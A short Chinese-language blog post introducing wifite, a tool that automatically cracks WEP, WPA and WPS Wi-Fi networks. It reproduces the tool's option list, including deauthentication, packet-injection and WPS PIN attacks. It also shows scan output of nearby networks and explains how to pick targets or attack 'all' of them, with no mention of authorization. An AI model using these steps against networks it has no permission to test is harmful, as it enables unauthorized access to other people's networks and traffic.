wifite是一款自动化wep、wpa破解工具，不支持windows和osx。wifite的特点是可以同时攻击多个采用wep和wpa加密的网络。wifite只需简单的配置即可自动化运行，期间无需人工干预。

先复制一下说明

COMMANDS
-check <file> check capfile <file> for handshakes.
-cracked display previously-cracked access points

GLOBAL
-all attack all targets. [off]
-i <iface> wireless interface for capturing [auto]
-mac anonymize mac address [off]
-c <channel> channel to scan for targets [auto]
-e <essid> target a specific access point by ssid (name) [ask]
-b <bssid> target a specific access point by bssid (mac) [auto]
-showb display target BSSIDs after scan [off]
-pow <db> attacks any targets with signal strenghth > db [0]
-quiet do not print list of APs during scan [off]
WPA
-wpa only target WPA networks (works with -wps -wep) [off]
-wpat <sec> time to wait for WPA attack to complete (seconds) [500]
-wpadt <sec> time to wait between sending deauth packets (sec) [10]
-strip strip handshake using tshark or pyrit [off]
-crack <dic> crack WPA handshakes using <dic> wordlist file [off]
-dict <file> specify dictionary to use when cracking WPA [phpbb.txt]
-aircrack verify handshake using aircrack [on]
-pyrit verify handshake using pyrit [off]
-tshark verify handshake using tshark [on]
-cowpatty verify handshake using cowpatty [off]

WEP
-wep only target WEP networks [off]
-pps <num> set the number of packets per second to inject [600]
-wept <sec> sec to wait for each attack, 0 implies endless [600]
-chopchop use chopchop attack [on]
-arpreplay use arpreplay attack [on]
-fragment use fragmentation attack [on]
-caffelatte use caffe-latte attack [on]
-p0841 use -p0841 attack [on]
-hirte use hirte (cfrag) attack [on]
-nofakeauth stop attack if fake authentication fails [off]
-wepca <n> start cracking when number of ivs surpass n [10000]
-wepsave save a copy of .cap files to this directory [off]

WPS
-wps only target WPS networks [off]
-wpst <sec> max wait for new retry before giving up (0: never) [660]
-wpsratio <per> min ratio of successful PIN attempts/total tries [0]
-wpsretry <num> max number of retries for same PIN before giving up [0]

EXAMPLE
./wifite.py -wps -wep -c 6 -pps 600

[+] quitting

————————————————————————————————————————————————

会显示附近能搜索到的SSID、加密方式、信号强度、是否支持wps
[+] scanning for wireless devices…
[+] enabling monitor mode on wlan0… done
[+] initializing scan (mon0), updates at 5 sec intervals, CTRL+C when ready.
[0:00:03] scanning wireless networks. 0 targets and 0 clients found

[+] scanning (mon0), updates at 5 sec intervals, CTRL+C when ready.

NUM ESSID CH ENCR POWER WPS? CLIENT
— ——————– — —- —– —- ——
1 TeXXX_free 6 WPA2 31db no
2 (28:XX:XX:6E:XX:98) 11 WPA2 22db no
3 liusXXXXXXg 1 WPA2 19db no
4 <Length 5> 9 WPA2 19db no
5 MERXXXX_B86FC6 1 WPA2 13db wps
6 TPXXNK_3C2E 6 WPA2 11db no
7 TXXXX_4BEXXX0 8 WPA 8db no

[0:00:05] scanning wireless networks. 7 targets and 0 clients found

按CTRL+C 终止搜索之后会让你选择需要攻击的网络ID 或者也可以选all 就是全部破解

[+] select target numbers (1-20) separated by commas, or ‘all’: 7

[+] 1 target selected.

破解出来后，会出现PIN码和KEY。

7kb.org 原创,如有转载请注明出处 www.7kb.org